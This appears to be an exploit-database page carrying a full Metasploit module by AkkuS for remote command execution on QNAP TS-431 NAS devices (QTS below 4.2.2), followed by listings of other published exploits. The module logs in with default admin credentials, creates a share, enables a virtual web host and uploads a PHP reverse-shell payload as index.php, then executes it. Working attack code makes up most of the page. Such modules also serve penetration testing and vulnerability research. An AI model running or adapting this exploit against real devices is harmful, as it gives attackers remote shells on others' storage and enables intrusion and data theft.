Menu

Search for hundreds of thousands of exploits

"QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)"

Author

Exploit author

AkkuS

Platform

Exploit platform

hardware

Release date

Exploit published date

2019-03-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
## 
# This module requires Metasploit: http://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework 
## 

require 'base64' 

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking 
 
  include Msf::Exploit::Remote::HttpClient 
 
    def initialize 
    super( 
      'Name'           => 'QNAP TS-431 QTS < 4.2.2 - Remote Command Execution', 
      'Description'    => %q{ 
        This module creates a virtual web server and uploads the php payload into it. 
        Admin privileges cannot access any server files except File Station files.  
        The user who is authorized to create Virtual Web Server can upload malicious php file by activating the server.
        Exploit creates a new directory into File Station to connect to the web server.
        However, only the "index.php" file is allowed to work in the virtual web server directory.
        No files can be executed except "index.php". Gives an access error.
        After the harmful "index.php" has been uploaded, the shell can be retrieved from the server.
        There is also the possibility of working in higher versions. 
      }, 
      'Author'         => [ 
        'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module 
        ], 
      'License'        => MSF_LICENSE, 
      'References'     => 
        [
          ['URL', 'https://pentest.com.tr/exploits/QNAP-QTS-4-2-2-Remote-Command-Execution-Metasploit.html'],  
        ], 
      'Platform'       => ['php'], 
      'Arch'           => ARCH_PHP, 
      'Targets'        => 
        [ 
          ['QNAP QTS <= 4.2.2', {}] 
        ], 
      'DisclosureDate' => '06 March 2019', 
      'Privileged'     => false,       
      'DefaultTarget' => 0 
    ) 
 
    register_options( 
        [ 
          OptBool.new('SSL', [true, 'Use SSL', false]),
          OptString.new('TARGETURI', [true, 'The base path to QNAP', '/']), 
          OptString.new('USER', [true, 'User to login with', 'admin']), 
          OptString.new('PASS', [true, 'Password to login with', 'admin']), 
        ], self.class) 
    end 
##
# Check Exploit Vulnerable
##  
  def check
    res = send_request_cgi({ 
      'method' => 'GET',  
      'uri'    => normalize_uri(target_uri, "/cgi-bin/login.html")      
    })

   if res and res.code == 200 and res.body =~ /dc=4.2./
      return Exploit::CheckCode::Vulnerable
   else
      return Exploit::CheckCode::Safe
    end
    return res 
  end  
##
# Login
##  
  def exploit 
 
    b64pwd = Base64.encode64("#{datastore['PASS']}")
    b64 = b64pwd.split('=').first
 
    res = send_request_cgi({ 
      'method' => 'POST', 
      'uri'    => normalize_uri(target_uri, "/cgi-bin/authLogin.cgi"), 
      'vars_post' => { 
          "user" => datastore['USER'],
          "pwd" => "#{b64}=",
          "serviceKey" => "1"           
      } 
    })

    if res and res.code == 200 and res.body =~ /authSid/
      print_good("Login successful")
      nasid = res.body.split("authSid><![CDATA[")[1].split("]")[0]
      print_status("sid = #{nasid}")
    else
      print_error("Login failed")
    end
##
# Update Login Time with sid
## 
    cookie = "NAS_USER=#{datastore['USER']}; NAS_SID=#{nasid}; home=1; showQuickStart=1"
    res = send_request_cgi({ 
      'method' => 'POST',
      'cookie' => cookie, 
      'uri'    => normalize_uri(target_uri, "/cgi-bin/userConfig.cgi"), 
      'vars_post' => { 
          "func" => "updateLoginTime",
          "sid" => "#{nasid}"          
      } 
    })

    if res and res.code == 200 and res.body =~ /true/
      print_good("Update Login Time Successful")
    else
      print_error("Update failed")
    end
 
##
# Create Folder in File Station for Web Server
## 
    cmdfile = "cmd#{rand_text_alphanumeric(rand(5) + 5)}"
    print_status("Web Folder = /#{cmdfile}")
    print_status("Attempting to create a folder via File Station.")
    res = send_request_cgi({ 
      'method' => 'POST',
      'cookie' => cookie, 
      'uri'    => normalize_uri(target_uri, "/cgi-bin/wizReq.cgi?&wiz_func=share_create&action=add_share"), 
      'vars_post' => { 
          "share_name" => cmdfile,
          "comment" => "",
          "guest" => "deny",
          "hidden" => "0",
          "oplocks" => "1",
          "EncryptData" => "0",
          "wizard_filter" => "",
          "user_wizard_filter" => "",
          "userw0" => "#{datastore['USER']}",
          "userd_len" => "0",
          "userw_len" => "1",
          "usero_len" => "0",
          "access_r" => "setup_users",
          "img_file_path" => "",
          "path_type" => "auto",
          "quotaSettings" => "",
          "quota_size" => "",
          "recycle_bin" => "1",
          "recycle_bin_administrators_only" => "0",
          "quotaRadio" => "0",
          "vol_no" => "1",
          "addToMediaFolder" => "0",
          "qsync" => "0",
          "sid" => "#{nasid}"          
      } 
    })

    if res and res.code == 200 and res.body =~ /buildTime/
      print_good("File Create Successful")
    else
      print_error("File Create Failed")
    end
##
# Enable Virtual Host
## 
    print_status("Attempting to Enable Virtual Host")
    res = send_request_cgi({ 
      'method' => 'POST',
      'cookie' => cookie, 
      'uri'    => normalize_uri(target_uri, "/cgi-bin/net/networkRequest.cgi?&subfunc=web_srv&apply=1&todo=set_enable"), 
      'vars_post' => { 
          "enable" => "1",
          "sid" => "#{nasid}"          
      } 
    })

    if res and res.code == 200
      print_good("Virtual Host Enabled")
    else
      print_error("Process Failed")
    end 
##
# Enable Virtual Host
##
    print_status("Attempting to Create Virtual Host")
    res = send_request_cgi({ 
      'method' => 'POST',
      'cookie' => cookie, 
      'uri'    => normalize_uri(target_uri, "/cgi-bin/net/networkRequest.cgi?&subfunc=web_srv"), 
      'vars_post' => { 
          "apply" => "1",
          "share_folder" => "1",
          "manual_path" => cmdfile,
          "vhost_name" => "cmd",
          "vhost_port" => "4443",
          "vhost_ssl" => "0",
          "todo" => "add_vhost",
          "sid" => "#{nasid}"          
      } 
    })

    if res and res.code == 200
      print_good("Virtual Host Started on port 4443")
    else
      print_error("Process Failed")
    end
##
# Fetching upload_id information
##
    print_status("Attempting to Upload get Upload ID")
    res = send_request_cgi({ 
      'method' => 'POST',
      'cookie' => cookie, 
      'uri'    => normalize_uri(target_uri, "/cgi-bin/filemanager/utilRequest.cgi?func=start_chunked_upload"), 
      'vars_post' => { 
          "upload_root_dir" => "/#{cmdfile}",
          "sid" => "#{nasid}"          
      } 
    })

    if res and res.code == 200 and res.body =~ /upload_id/
      print_good("Login successful")
      uploadid = res.body.split("upload_id")[1].split('"')[2]
      print_status("Upload ID = #{uploadid}")
    else
      print_error("Login failed")
    end
##
# Upload Payload
##
    boundary = Rex::Text.rand_text_alphanumeric(29)

    data = "-----------------------------{boundary}"
    data << "\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n"
    data << "msf.php\r\n-----------------------------{boundary}"
    data << "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
    data << "Content-Type: application/octet-stream\r\n\r\n"
    data << payload.encoded
    data << "\r\n-----------------------------{boundary}--\r\n"

    print_status("Attempting to Upload Payload to Reverse Shell")

    res = send_request_raw(
      {
        'method' => "POST",
        'uri'     => normalize_uri(target_uri, "/cgi-bin/filemanager/utilRequest.cgi?sid=#{nasid}&func=chunked_upload&dest_path=/#{cmdfile}&overwrite=1&upload_root_dir=/#{cmdfile}&upload_id=#{uploadid}&offset=0&filesize=1115&upload_name=index.php&settime=1&mtime=1551868245"),
        'data' => data,
        'headers' =>
        {
          'Content-Type'   => 'multipart/form-data; boundary=---------------------------{boundary}',
        },
        'cookie'  => cookie
      })

    if res and res.code == 200 
      print_good("Payload Uploaded Successful")
    else
      print_error("Upload Failed")
    end
##
# Execute the Payload
##
    print_status("Attempting to execute the payload...")

    res = request_url("http://#{rhost}:4443/index.php")

    if res and res.code == 200
      print_good "Payload executed successfully"
    end  
  end     
end
##
# End
##
Release DateTitleTypePlatformAuthor
2020-02-14"EPSON EasyMP Network Projection 2.81 - 'EMP_NSWLSV' Unquoted Service Path"localwindows"Roberto Piña"
2020-02-14"HomeGuard Pro 9.3.1 - Insecure Folder Permissions"localwindowsboku
2020-02-14"SprintWork 2.3.1 - Local Privilege Escalation"localwindowsboku
2020-02-14"phpMyChat Plus 1.98 - 'pmc_username' SQL Injection"webappsphpJ3rryBl4nks
2020-02-13"Wordpress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting"webappsphp"Mehran Feizi"
2020-02-13"Wordpress Plugin tutor.1.5.3 - Local File Inclusion"webappsphp"Mehran Feizi"
2020-02-13"Wordpress Plugin wordfence.7.4.5 - Local File Disclosure"webappsphp"Mehran Feizi"
2020-02-13"Wordpress Plugin contact-form-7 5.1.6 - Remote File Upload"webappsphp"Mehran Feizi"
2020-02-13"WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion"webappsphp"Mehran Feizi"
2020-02-13"OpenTFTP 1.66 - Local Privilege Escalation"localwindowsboku
2020-02-13"PANDORAFMS 7.0 - Authenticated Remote Code Execution"webappsphp"Engin Demirbilek"
2020-02-12"HP System Event Utility - Local Privilege Escalation"localwindowshyp3rlinx
2020-02-12"MyVideoConverter Pro 3.14 - 'Movie' Buffer Overflow"localwindowsZwX
2020-02-12"MyVideoConverter Pro 3.14 - 'TVSeries' Buffer Overflow"localwindowsZwX
2020-02-12"MyVideoConverter Pro 3.14 - 'Output Folder' Buffer Overflow"localwindowsZwX
2020-02-11"CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting"webappscgiLuca.Chiou
2020-02-11"Vanilla Forums 2.6.3 - Persistent Cross-Site Scripting"webappsphp"Sayak Naskar"
2020-02-11"WordPress InfiniteWP - Client Authentication Bypass (Metasploit)"webappsphpMetasploit
2020-02-11"freeFTPd v1.0.13 - 'freeFTPdService' Unquoted Service Path"localwindowsboku
2020-02-11"OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution"remotefreebsd"Marco Ivaldi"
2020-02-11"Disk Savvy Enterprise 12.3.18 - Unquoted Service Path"localwindowsboku
2020-02-11"Disk Sorter Enterprise 12.4.16 - 'Disk Sorter Enterprise' Unquoted Service Path"localwindowsboku
2020-02-11"Wedding Slideshow Studio 1.36 - 'Name' Buffer Overflow"localwindowsZwX
2020-02-11"Sync Breeze Enterprise 12.4.18 - 'Sync Breeze Enterprise' Unquoted Service Path"localwindowsboku
2020-02-11"DVD Photo Slideshow Professional 8.07 - 'Name' Buffer Overflow"localwindowsZwX
2020-02-11"DVD Photo Slideshow Professional 8.07 - 'Key' Buffer Overflow"localwindowsZwX
2020-02-11"FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path"localwindowsboku
2020-02-11"Torrent iPod Video Converter 1.51 - Stack Overflow"localwindowsboku
2020-02-10"LearnDash WordPress LMS Plugin 3.1.2 - Reflective Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-02-10"Wedding Slideshow Studio 1.36 - 'Key' Buffer Overflow"localwindowsZwX
Release DateTitleTypePlatformAuthor
2020-02-05"HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account"remotehardwareSnawoot
2020-02-05"Wago PFC200 - Authenticated Remote Code Execution (Metasploit)"webappshardware0x483d
2020-02-03"Schneider Electric U.Motion Builder 1.3.4 - Authenticated Command Injection"webappshardware"Cosmin Craciun"
2020-01-29"Satellian 1.12 - Remote Code Execution"webappshardwareXh4H
2020-01-29"Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2020-01-24"Genexis Platinum-4410 2.1 - Authentication Bypass"webappshardware"Husinul Sanub"
2020-01-24"TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot"webappshardwarePCEumel
2020-01-15"Huawei HG255 - Directory Traversal ( Metasploit )"webappshardware"Ismail Tasdelen"
2020-01-15"Sagemcom [email protected] 3890 (50_10_19-T1) Cable Modem - 'Cable Haunt' Remote Code Execution"remotehardwareLyrebirds
2020-01-14"IBM RICOH InfoPrint 6500 Printer - HTML Injection"webappshardware"Ismail Tasdelen"
2020-01-14"IBM RICOH 6400 Printer - HTML Injection"webappshardware"Ismail Tasdelen"
2020-01-08"EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow"remotehardwarehantwister
2020-01-07"piSignage 2.6.4 - Directory Traversal"webappshardware"JunYeong Ko"
2020-01-06"IBM RICOH Infoprint 1532 Printer - Persistent Cross-Site Scripting"webappshardware"Ismail Tasdelen"
2020-01-01"IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal"webappshardware"Raif Berkay Dincel"
2019-12-31"Sony Playstation 4 (PS4) < 6.72 - WebKit Code Execution (PoC)"webappshardware"TJ Corley"
2019-12-30"XEROX WorkCentre 7830 Printer - Cross-Site Request Forgery (Add Admin)"webappshardware"Ismail Tasdelen"
2019-12-30"WEMS BEMS 21.3.1 - Undocumented Backdoor Account"webappshardwareLiquidWorm
2019-12-30"RICOH SP 4510SF Printer - HTML Injection"webappshardware"Ismail Tasdelen"
2019-12-30"RICOH Web Image Monitor 1.09 - HTML Injection"webappshardware"Ismail Tasdelen"
2019-12-30"AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Credential Disclosure"webappshardwareLiquidWorm
2019-12-30"Heatmiser Netmonitor 3.03 - Hardcoded Credentials"webappshardware"Ismail Tasdelen"
2019-12-30"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure"webappshardwareLiquidWorm
2019-12-30"Heatmiser Netmonitor 3.03 - HTML Injection"webappshardware"Ismail Tasdelen"
2019-12-30"AVE DOMINAplus 1.10.x - Authentication Bypass"webappshardwareLiquidWorm
2019-12-30"XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin)"webappshardware"Ismail Tasdelen"
2019-12-30"HomeAutomation 3.3.2 - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin)"webappshardware"Ismail Tasdelen"
2019-12-30"AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot"webappshardwareLiquidWorm
Release DateTitleTypePlatformAuthor
2019-08-12"Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)"remotelinuxAkkuS
2019-08-12"ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-08-12"ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-08-12"ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-07-12"Sahi Pro 8.0.0 - Remote Command Execution"webappsjavaAkkuS
2019-06-17"AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)"remotephpAkkuS
2019-06-11"Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)"remotelinuxAkkuS
2019-05-14"PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)"remotephpAkkuS
2019-04-30"Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)"remotephpAkkuS
2019-04-25"osTicket 1.11 - Cross-Site Scripting / Local File Inclusion"webappsphpAkkuS
2019-04-22"ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-04-18"ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)"remotewindowsAkkuS
2019-04-15"CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)"remotephpAkkuS
2019-04-12"ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)"webappsphpAkkuS
2019-04-03"TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)"remotephpAkkuS
2019-03-11"OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)"webappsjspAkkuS
2019-03-11"Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)"webappsmultipleAkkuS
2019-03-07"QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)"remotehardwareAkkuS
2019-03-04"Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)"webappsphpAkkuS
2019-02-28"Usermin 1.750 - Remote Command Execution (Metasploit)"webappslinuxAkkuS
2019-02-28"Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)"webappsphpAkkuS
2019-02-12"Jenkins 2.150.2 - Remote Command Execution (Metasploit)"webappslinuxAkkuS
2019-01-24"SirsiDynix e-Library 3.5.x - Cross-Site Scripting"webappscgiAkkuS
2019-01-18"Webmin 1.900 - Remote Command Execution (Metasploit)"remotecgiAkkuS
2019-01-10"eBrigade ERP 4.5 - Arbitrary File Download"webappsphpAkkuS
2019-01-02"Vtiger CRM 7.1.0 - Remote Code Execution"webappsphpAkkuS
2018-12-19"Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)"webappsphpAkkuS
2018-12-09"i-doit CMDB 1.11.2 - Remote Code Execution"webappsphpAkkuS
2018-12-04"Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting"webappsphpAkkuS
2018-12-03"Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution"webappsphpAkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46506/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse